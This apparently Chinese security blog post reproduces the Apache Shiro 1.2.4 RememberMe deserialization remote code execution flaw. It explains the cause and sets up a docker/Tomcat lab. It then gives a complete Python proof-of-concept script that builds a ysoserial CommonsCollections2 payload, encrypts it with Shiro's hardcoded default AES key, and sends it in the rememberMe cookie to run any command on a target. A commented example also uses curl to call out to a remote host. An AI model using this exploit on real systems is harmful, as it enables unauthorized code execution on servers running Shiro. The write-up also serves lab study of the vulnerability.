Apache Shiro RememberMe 1.2.4 反序列化RCE复现

Apache Shiro 简介

Apache Shiro 是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

漏洞成因

Apache Shiro 反序列化漏洞的主要成因是 shiro 在进行 remember me 操作时,将用户信息序列化后加密存储在cookie中,当shiro 获取这个cookie进行反序列化操作获取原始用户信息时,没有严格限制反序列化内容,导致了命令执行。

影响版本

1
Apache Shiro <= 1.2.4

环境搭建

1.下载tomcat的docker环境

2.下载samples-web-1.2.4.war

点我点我

3.启动tomcat镜像并进入

1
2
# 启动tomcat
docker run --name tomcat -itd --privileged=true --rm -v /root/d4m1ts/test:/usr/local/tomcat/webapps/webapp -p 80:8080 tomcat
1
2
3
4
5
6
7
8
9
# docker参数解释
--name tomcat 创建容器名称为tomcat
--privileged=true 允许镜像挂载映射本地目录
-p 80:8086使用本地380端口映射容器中的8080端口
--rm 创建的容器在关闭后能够自动删除,不会影响数据
-v /root/d4m1ts/test:/usr/local/tomcat/webapps/webapp将本地/root/d4m1ts/test目录映射挂载到容器中的/usr/local/tomcat/webapps/webapp目录
-itd 以后台守护进程启动容器
tomcat tomcat镜像名
1
2
3
# 进入tomcat容器
docker exec -it <docker_tomcat_id> /bin/bash

4.将war包导入tomcatwebapp目录

war包导入后会自动解压

5.查看是否搭建成功

可将 samples-web-1.2.4 修改为 shiro(好看)

访问 http://ip/shiro 即可成功

漏洞利用

ysoserial

ysoserial项目地址

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# -*- coding: utf-8 -*-
import os
import sys
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
'''
pip install pycrypto
from https://www.cnblogs.com/loong-hon/p/10619616.html
ysoserial
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
'''
# 可以是绝对路径 也可以是相对路径
JAR_FILE = 'ysoserial-master-SNAPSHOT.jar'
def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
print r.text
except Exception, e:
pass
return False
def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# 传入目标站点和要执行的命令即可
if len(sys.argv) == 3:
# poc('http://ip:80/shiro', 'curl http://ip:port')
url = sys.argv[1]
command = sys.argv[2]
poc(url, command)
else:
print 'Usage: python {} <URL> <COMMAND>'.format(sys.argv[0])

然后一键就成功了

参考

http://www.db-sec.com/2019/06/apache-shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

http://www.xianxianlabs.com/2019/08/18/apache-shiro-rec/

https://paper.seebug.org/shiro-rememberme-1-2-4/

https://github.com/Medicean/VulApps/tree/master/s/shiro/1

福利?

vBulletin 5.x pre-auth RCE

Powered by Hexo and Hexo-theme-hiker

Copyright © 2017 - 2019 Damit5's Blog All Rights Reserved.

UV : | PV :